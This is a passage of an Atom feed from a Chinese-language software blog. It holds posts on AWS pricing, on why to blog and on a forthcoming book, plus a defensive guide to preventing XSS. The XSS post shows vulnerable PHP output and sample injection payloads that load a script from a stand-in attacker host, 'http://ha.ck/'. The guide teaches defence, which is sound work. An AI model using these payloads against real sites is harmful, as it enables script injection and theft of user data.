&lt;p&gt;總之，是到了繼續的時候了。和之前說的一樣，我會把新書的內容，用&lt;a href="http://hanklin.com/"&gt;blog&lt;/a&gt;的形式發表。每一篇都可能不完整、沒有前後文、鬼打牆、或是不通順，都是屬於正常現象，請小心服用。&lt;/p&gt;
&lt;p&gt;除了原稿，我還必需建立幾個open source的專案，作為工具和framework。所以真的是大工程，有點像挖坑給自己跳。的確，追求完美的性格又發作了。&lt;/p&gt;
&lt;p&gt;對我要寫的內容有任何疑問和建議，都可以提出來，我會參考。但是不一定有時間回應，因為我要繼續前進。發表過的內容也可能重新改寫，所以如果你覺得這篇和你之前看的不同，就忘了過去吧，現在的比較重要。&lt;/p&gt;
&lt;p&gt;又到了最難的結尾了，這裡有一個&lt;a href="http://www.facebook.com/hank.web"&gt;facebook自high粉絲頁&lt;/a&gt;好少人的，有需要就按這個讚(遞)。&lt;fb:like href="http://www.facebook.com/hank.web" send="false" layout="button_count" width="450" show_faces="true"&gt;&lt;/fb:like&gt;&lt;/p&gt;
&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/hanklin?a=4RrjBbTLkIo:v1tGqYFGIbI:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/hanklin?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/hanklin?a=4RrjBbTLkIo:v1tGqYFGIbI:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/hanklin?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/hanklin?a=4RrjBbTLkIo:v1tGqYFGIbI:fIALcPRUi8c"&gt;&lt;img src="http://feeds.feedburner.com/~ff/hanklin?i=4RrjBbTLkIo:v1tGqYFGIbI:fIALcPRUi8c" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content>
		<link rel="replies" type="text/html" href="http://hanklin.com/p/292#comments" thr:count="4" />
		<link rel="replies" type="application/atom+xml" href="http://hanklin.com/p/292/feed/atom" thr:count="4" />
		<thr:total>4</thr:total>
	</entry>
		<entry>
		<author>
			<name>hank</name>
					</author>
		<title type="html"><![CDATA[AWS updates 2011-07]]></title>
		<link rel="alternate" type="text/html" href="http://hanklin.com/p/276" />
		<id>http://hanklin.com/blog/?p=276</id>
		<updated>2011-07-11T19:43:11Z</updated>
		<published>2011-07-11T19:43:11Z</published>
		<category scheme="http://hanklin.com" term="aws" />		<summary type="html"><![CDATA[上天是公平的, 每個人每天只有24小時. 所以如果你不是萬中選一的練武奇才, 那就要比別人多花點時間了. 請容我先用最近的AWS新聞來更新一下blog. 好啦, 因為確實不是新聞了, 所以標題改叫updates&#8230; AWS Import/Export for EBS 這個Import/Export的功能可能在北美洲比較有用, 因為是寄硬碟去給Amazon, 讓Amazon依你的指示把資料從S3寫到硬碟或是相反方向. 如果要輸入/輸出大量資料, 例如幾TB, 絕對是用這個方法比較快. 現在EBS也支援AWS Import/Export了, 可以直接作成EBS snapshots, 這樣要複製多份EBS volumes就非常簡單了. AWS再降價 是的, AWS又降價了. 這次是很重要的網路傳輸費, 從2011-07-01開始生效. 而且Amazon很康慨的把傳入AWS的費用全免了, 這樣計算網路傳輸費用也很簡單了. 很明顯, Amazon就是希望你把資料全部放到他家裡去. 這個用意再明顯也不過了, 資料一進去, 要出來就難了, 因為最難搬動的就是資料啊. 好了, 傳入全免費了, 那傳出的費用也降了. 以最貴的Tokyo地區來算, 每個月前10TB是每GB $0.201美金. 所以如果你的網站每個月輸出100GB, 那就是$20.1美金. 超大量的流量(每個月524TB以上)還可以和Amazon商量, 拿特別的折扣. 另一個和網路傳輸費最相關的服務, 就是CloudFront, 也一起降價了. 同樣以最貴的日本地區來看, 每個月前10TB的傳出費用也是降到每GB $0.201美金. 而且流量越大, 每GB的花費比AWS其它服務的網路傳輸費還便宜. [...]]]></summary>
		<content type="html" xml:base="http://hanklin.com/p/276">&lt;p&gt;上天是公平的, 每個人每天只有24小時. 所以如果你不是萬中選一的練武奇才, 那就要比別人多花點時間了. 請容我先用最近的AWS新聞來更新一下blog. 好啦, 因為確實不是新聞了, 所以標題改叫updates&amp;#8230;&lt;/p&gt;
&lt;h2&gt;AWS Import/Export for EBS&lt;/h2&gt;
&lt;p&gt;這個Import/Export的功能可能在北美洲比較有用, 因為是寄硬碟去給Amazon, 讓Amazon依你的指示把資料從S3寫到硬碟或是相反方向. 如果要輸入/輸出大量資料, 例如幾TB, 絕對是用這個方法比較快. 現在EBS也支援AWS Import/Export了, 可以直接作成EBS snapshots, 這樣要複製多份EBS volumes就非常簡單了.&lt;/p&gt;
&lt;h2&gt;AWS再降價&lt;/h2&gt;
&lt;p&gt;是的, AWS又降價了. 這次是很重要的網路傳輸費, 從2011-07-01開始生效. 而且Amazon很康慨的把傳入AWS的費用全免了, 這樣計算網路傳輸費用也很簡單了. 很明顯, Amazon就是希望你把資料全部放到他家裡去. 這個用意再明顯也不過了, 資料一進去, 要出來就難了, 因為最難搬動的就是資料啊. 好了, 傳入全免費了, 那傳出的費用也降了. 以最貴的Tokyo地區來算, 每個月前10TB是每GB $0.201美金. 所以如果你的網站每個月輸出100GB, 那就是$20.1美金. 超大量的流量(每個月524TB以上)還可以和Amazon商量, 拿特別的折扣.&lt;br /&gt;
另一個和網路傳輸費最相關的服務, 就是CloudFront, 也一起降價了. 同樣以最貴的日本地區來看, 每個月前10TB的傳出費用也是降到每GB $0.201美金. 而且流量越大, 每GB的花費比AWS其它服務的網路傳輸費還便宜. 另外CloudFront也有Reserved Capacity Pricing, 和EC2 reserved instances概念類似, 也是先付年費, 就可以有較大的折扣. 不過要直接和Amazon聯絡, 而且每個月流量至少要10TB.&lt;/p&gt;
&lt;p&gt;預告: 之後應該會開始把Hadoop的資料整理上來.&lt;/p&gt;
&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/hanklin?a=GlUIbzX9y44:WIEXUG6jn9o:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/hanklin?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/hanklin?a=GlUIbzX9y44:WIEXUG6jn9o:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/hanklin?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/hanklin?a=GlUIbzX9y44:WIEXUG6jn9o:fIALcPRUi8c"&gt;&lt;img src="http://feeds.feedburner.com/~ff/hanklin?i=GlUIbzX9y44:WIEXUG6jn9o:fIALcPRUi8c" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content>
		<link rel="replies" type="text/html" href="http://hanklin.com/p/276#comments" thr:count="33" />
		<link rel="replies" type="application/atom+xml" href="http://hanklin.com/p/276/feed/atom" thr:count="33" />
		<thr:total>33</thr:total>
	</entry>
		<entry>
		<author>
			<name>hank</name>
					</author>
		<title type="html"><![CDATA[Why Blogging]]></title>
		<link rel="alternate" type="text/html" href="http://hanklin.com/p/270" />
		<id>http://hanklin.com/blog/?p=270</id>
		<updated>2011-06-15T04:51:17Z</updated>
		<published>2011-06-15T04:51:17Z</published>
		<category scheme="http://hanklin.com" term="gossip" />		<summary type="html"><![CDATA[常常沒有人問我, 為什麼要寫blog? (沒錯, 是&#8221;沒有人&#8221;, 這句只是為了學各大blogger常見的開頭&#8230;) 請看Jamie的: 你必須開一個網誌，現在. 其實最早也是Jamie鼓勵我寫blog的, 我常常說, 沒有Jamie, 就沒有這個blog, 也沒有出書, 也沒有今天的我. 在這裡說的blog, 不是給自己和認識的人看的, 而是為了這個世界創造更多的價值, 不論是自己, 讀者, 或整個與你相關的環境. 像我是軟體工程師, 我可以把我的經驗分享出來, 讓有需要的人, 可以很快的找到方向. 這樣一來, 不但為別人創造了價值, 我自己也增加了無型的價值. 所以, 各行各業都可以寫blog, 不論目的是什麼, 你都可以造成一些影響. 這在網路還沒發達之前是不可能的事, 如果你對現在的媒體很不滿, 那網路就是你最好的發聲管道. 我要很明確的告訴你, 寫blog絕不是一件簡單的事. 如果沒有決心, 那就把它當成休閒就好, 不要期望寫blog能帶給你什麼額外的回饋. 每天上班就已經快累死了, 回到家只想休息啊. 生活上還有很多雜事要處理: 帳單還沒付, 電腦壞了要修, 車子要檢查. 即使是有空的時間, 我也可能和人吵架影響心情, 生病看醫生, 很多文件/書要看, 要靜下心來整理資料寫一篇有內容的文章還真是難啊! 像這個: 如何辭掉你的工作，改變這個世界，還有人付錢給你. 是很難達到的, 而且也不適合每一個人. 但是如果你想除了每個月領薪水, 還能創造出你和別人不一樣的價值的話, [...]]]></summary>
		<content type="html" xml:base="http://hanklin.com/p/270">&lt;p&gt;常常沒有人問我, 為什麼要寫blog? (沒錯, 是&amp;#8221;沒有人&amp;#8221;, 這句只是為了學各大blogger常見的開頭&amp;#8230;)&lt;br /&gt;
請看Jamie的: &lt;a href="http://mrjamie.cc/2011/03/30/start-blogging-now/"&gt;你必須開一個網誌，現在&lt;/a&gt;. 其實最早也是Jamie鼓勵我寫blog的, 我常常說, 沒有Jamie, 就沒有這個blog, 也沒有出書, 也沒有今天的我.&lt;/p&gt;
&lt;p&gt;在這裡說的blog, 不是給自己和認識的人看的, 而是為了這個世界創造更多的價值, 不論是自己, 讀者, 或整個與你相關的環境. 像我是軟體工程師, 我可以把我的經驗分享出來, 讓有需要的人, 可以很快的找到方向. 這樣一來, 不但為別人創造了價值, 我自己也增加了無型的價值. 所以, 各行各業都可以寫blog, 不論目的是什麼, 你都可以造成一些影響. 這在網路還沒發達之前是不可能的事, 如果你對現在的媒體很不滿, 那網路就是你最好的發聲管道. 我要很明確的告訴你, 寫blog絕不是一件簡單的事. 如果沒有決心, 那就把它當成休閒就好, 不要期望寫blog能帶給你什麼額外的回饋. 每天上班就已經快累死了, 回到家只想休息啊. 生活上還有很多雜事要處理: 帳單還沒付, 電腦壞了要修, 車子要檢查. 即使是有空的時間, 我也可能和人吵架影響心情, 生病看醫生, 很多文件/書要看, 要靜下心來整理資料寫一篇有內容的文章還真是難啊! &lt;/p&gt;
&lt;p&gt;像這個: &lt;a href="http://mrjamie.cc/2011/05/19/quit-your-job-get-paid-change-the-world/"&gt;如何辭掉你的工作，改變這個世界，還有人付錢給你&lt;/a&gt;. 是很難達到的, 而且也不適合每一個人. 但是如果你想除了每個月領薪水, 還能創造出你和別人不一樣的價值的話, 那寫blog是一個很好的開始. (怎麼有點像直銷的語氣?!) 很多人都覺得在台灣engineer不值錢, 而且沒辦法作到老(這是重點, 逼得engineer一定要轉manager或analysis, designer. 薪水高的資深engineer似乎是被砍的高危險群), 其實我認識很多人真的很厲害, 但是沒什麼人知道. 如果他們能利用網路這個媒體, 貢獻他們的知識, 也可以順便提昇自己的價值. 我一直覺得, 會寫程式沒什麼了不起, 快快樂樂學○○這類的書看一下就會寫了. 所以也難怪很多人真的不覺得軟體工程師有什麼價值. 但是了不起的地方在於, 完成一種功能的寫法有無限多種, 哪一種才是最適合的寫法? 這就是為什麼要看高手的code, 看高手的code可以快速增加功力, 一定要思考為什麼他要這樣寫, 如果能舉出這樣寫的利和弊, 以後就可以納為已用. 我看了高手寫的code常常會有, 哦! 原來還有這種寫法, 以前都沒想過. 從另一個角度來看, 你怎麼告訴別人(或客戶), 你設計的架構是比較好的. 同樣的目的, 為什麼要改用你的方法? 舉個例子, CSS每個人都會寫, 但是要render的快, 容易維護, 減少陷阱, 並且在各browser都可以用, 這是很困難的, 但是你能整理出來嗎? 另外, 軟體的東西那麼多, 如果你有用過的經驗, 是不是能很快的作出適合的決定. 例如: 為什麼在這個場合我不要用Hibernate, 在那個地方我要用Spring, 如果你能分析出來, 就是價值所在, 也就是資深工程師厲害的地方. 一但能寫一些有價值的東西, 別人自然就會相信你是這方面的高手, 有機會自然就會找你.&lt;br /&gt;
以前看過一個tweet, 寫的是說: 寫blog的人真是佛心來的啊!  這句話的意思是很感謝blogger能分享他的知識, 但是我想另一方面也代表經營blog真的要花很多心思. 我認為一開始不要很功利的角度去寫, 而是要真正把知識整理好, 如果你寫的好, 不用擔心, 自然就會有更多的正回饋, 自由網路的世界是不會讓你埋沒太久的. &lt;/p&gt;
&lt;p&gt;這個星期五(2011-06-17)我在元智大學資訊工程學系有演講, 可以參考這個海報 ;)&lt;br /&gt;
&lt;a href="http://hanklin.com/blog/wp-content/uploads/2011/06/ssv16.jpg"&gt;&lt;img src="http://hanklin.com/blog/wp-content/uploads/2011/06/ssv16-740x1024.jpg" alt="" title="ssv16" width="740" height="1024" class="alignnone size-large wp-image-268" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/hanklin?a=aB-uLhH73VE:hHkZZ69TjzY:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/hanklin?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/hanklin?a=aB-uLhH73VE:hHkZZ69TjzY:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/hanklin?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/hanklin?a=aB-uLhH73VE:hHkZZ69TjzY:fIALcPRUi8c"&gt;&lt;img src="http://feeds.feedburner.com/~ff/hanklin?i=aB-uLhH73VE:hHkZZ69TjzY:fIALcPRUi8c" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content>
		<link rel="replies" type="text/html" href="http://hanklin.com/p/270#comments" thr:count="11" />
		<link rel="replies" type="application/atom+xml" href="http://hanklin.com/p/270/feed/atom" thr:count="11" />
		<thr:total>11</thr:total>
	</entry>
		<entry>
		<author>
			<name>hank</name>
					</author>
		<title type="html"><![CDATA[Preventing XSS (I)]]></title>
		<link rel="alternate" type="text/html" href="http://hanklin.com/p/236" />
		<id>http://hanklin.com/blog/?p=236</id>
		<updated>2011-05-31T18:18:41Z</updated>
		<published>2011-05-31T18:18:41Z</published>
		<category scheme="http://hanklin.com" term="web" /><category scheme="http://hanklin.com" term="html" /><category scheme="http://hanklin.com" term="js" /><category scheme="http://hanklin.com" term="xss" />		<summary type="html"><![CDATA[作網站要很注意XSS, 和SQL Injection, 可以說是基本中的基本. 這一篇文章是我對如何防止XSS(Cross-Site Scripting)的看法, 但是絕不能認為注意到我提到的地方就可以完全防止了. 攻擊的方法不斷地更新, 網站開發者也要隨時提高警覺, 注意新消息才能避免自己的網站成為下一個受害者. 基本原理 以現今的網站來說, 幾乎已經沒有完全靜態的網站. 只要有顯示動態資料, 尤其是使用者產生的資料, 就有被XSS的可能. XSS的型態有非常多種, 但主要都是為了要插入一段攻擊者寫的JavaScript, 一但攻擊者能這麼作, 你的網站就能被他利用, 可以作非常多事, 像是偷取網站和其它使用者的資料, 或是讓使用者去安裝殭屍程式. 可以加個&#60;iframe&#62;, 可以加個&#60;script&#62;, 基本上就是控制了你的網頁. 看一下例子: 例如在&#60;script&#62;block裡輸出動態資料: &#60;script&#62; var comment = &#34;&#60;?php echo $comment;?&#62;&#34;; &#60;/script&#62; 那攻擊者可以把comment寫成: &#34;;&#60;/script&#62;&#60;script src=&#34;http://ha.ck/&#34;/&#62;&#60;script&#62;// 就可以執行任意的JavaScript, 如果是認真的攻擊者, 通常會有3步以上的代理, 利用複雜步驟隱藏真正的意圖, 可能是偷取使用者資訊, 或是安裝trojan horse. 不是在&#60;script&#62;block裡就沒問題嗎? 唉, 更簡單: &#60;p&#62; &#60;?php echo $comment;?&#62; &#60;/p&#62; 聰明的你, [...]]]></summary>
		<content type="html" xml:base="http://hanklin.com/p/236">&lt;p&gt;作網站要很注意XSS, 和SQL Injection, 可以說是基本中的基本. 這一篇文章是我對如何防止XSS(Cross-Site Scripting)的看法, 但是絕不能認為注意到我提到的地方就可以完全防止了. 攻擊的方法不斷地更新, 網站開發者也要隨時提高警覺, 注意新消息才能避免自己的網站成為下一個受害者.&lt;/p&gt;
&lt;h2&gt;基本原理&lt;/h2&gt;
&lt;p&gt;以現今的網站來說, 幾乎已經沒有完全靜態的網站. 只要有顯示動態資料, 尤其是使用者產生的資料, 就有被XSS的可能. XSS的型態有非常多種, 但主要都是為了要插入一段攻擊者寫的JavaScript, 一但攻擊者能這麼作, 你的網站就能被他利用, 可以作非常多事, 像是偷取網站和其它使用者的資料, 或是讓使用者去安裝殭屍程式. 可以加個&lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt;, 可以加個&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;, 基本上就是控制了你的網頁.&lt;/p&gt;
&lt;p&gt;看一下例子: 例如在&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;block裡輸出動態資料:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
  var comment = &amp;quot;&amp;lt;?php echo $comment;?&amp;gt;&amp;quot;;&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
那攻擊者可以把comment寫成:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
&amp;quot;;&amp;lt;/script&amp;gt;&amp;lt;script src=&amp;quot;http://ha.ck/&amp;quot;/&amp;gt;&amp;lt;script&amp;gt;//&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
就可以執行任意的JavaScript, 如果是認真的攻擊者, 通常會有3步以上的代理, 利用複雜步驟隱藏真正的意圖, 可能是偷取使用者資訊, 或是安裝trojan horse. 不是在&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;block裡就沒問題嗎? 唉, 更簡單:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
  &amp;lt;?php echo $comment;?&amp;gt;&lt;br /&gt;
&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
聰明的你, 馬上就知道, 直接不客氣的把comment寫成:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
&amp;lt;script src=&amp;quot;http://ha.ck/&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
嘩! hacker練功的好機會!&lt;/p&gt;
&lt;h2&gt;心態與作法&lt;/h2&gt;
&lt;p&gt;基本原則就是:&lt;/p&gt;
&lt;p style="font-size:1.4em"&gt;絕對不要相信資料來源是無惡意的, 尤其是使用者輸入(或產生)的資料&lt;/p&gt;
&lt;p&gt;所以任何輸出動態html都要作html escaping. 最基本的5大元素: &lt;code&gt;&amp;amp; &amp;lt; &amp;gt; &amp;quot; &amp;#39;&lt;/code&gt; 要escape成&lt;code&gt;&amp;amp;amp; &amp;amp;lt; &amp;amp;gt; &amp;amp;quot; &amp;amp;#39;&lt;/code&gt;&lt;br /&gt;
如果是寫動態javascript的字串, 還要注意javascript的escaping, 和html是完全不同的, 要注意的是: &lt;code&gt; / &amp;quot; &amp;#39;&lt;/code&gt; 要escape成&lt;code&gt;\ / &amp;quot; &amp;#39;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;不過事情總是沒有那麼簡單, 例如: 有時候希望讓使用者打一些有html格式的東西, 如&amp;lt;img&amp;gt;. 就不能單純的一口氣全escape了. 也不能使用regex來拔掉可疑的東西, 因為這不但容易錯, 把正常的markup砍掉, 漏洞又很大, 可以輕易找到避開regex規則的寫法. 有一些作法是在client端先用prototype, jquery等js libraries先處理, 是一個不錯的作法. 另外就是, escape要固定在一個地方, 最好是在顯示之前, 然後其它地方就不要escape了. escape的規則和流程也要固定. 否則就會看到使用者打一個&amp;amp;, 讀寫個幾次就會變成千千萬萬個&amp;amp;&amp;amp;&amp;amp;&amp;#8230;&lt;/p&gt;
&lt;p&gt;有一個很常見的情況:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
&amp;lt;a onclick=&amp;#39;doSomethingWith(&amp;quot;&amp;lt;?php echo $myData?&amp;gt;&amp;quot;)&amp;#39;&amp;gt;&lt;br /&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;同時包含了html和javascript, 所以要先escape javascript, 再escape html. 如果反過來的話, single quote和double quote就會少escape一次, (因為變成&amp;amp;開頭了) 就會造成漏洞.&lt;/p&gt;
&lt;h2&gt;Reference&lt;/h2&gt;
&lt;p&gt;這篇我整理了好久, 還是寫不完. 不能拖太久, 所以先把完成的貼出來. 也許整個主題寫好之後再來整理比較好. 有興趣的可以先參考以下的連結:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet"&gt;https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.squarefree.com/securitytips/web-developers.html"&gt;http://www.squarefree.com/securitytips/web-developers.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://wonko.com/post/html-escaping"&gt;http://wonko.com/post/html-escaping&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/hanklin?a=qvrROMih_QU:U8dMFlUOs-0:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/hanklin?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/hanklin?a=qvrROMih_QU:U8dMFlUOs-0:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/hanklin?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/hanklin?a=qvrROMih_QU:U8dMFlUOs-0:fIALcPRUi8c"&gt;&lt;img src="http://feeds.feedburner.com/~ff/hanklin?i=qvrROMih_QU:U8dMFlUOs-0:fIALcPRUi8c" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content>
		<link rel="replies" type="text/html" href="http://hanklin.com/p/236#comments" thr:count="0" />
		<link rel="replies" type="application/atom+xml" href="http://hanklin.com/p/236/feed/atom" thr:count="0" />
		<thr:total>0</thr:total>
	</entry>
	</feed>

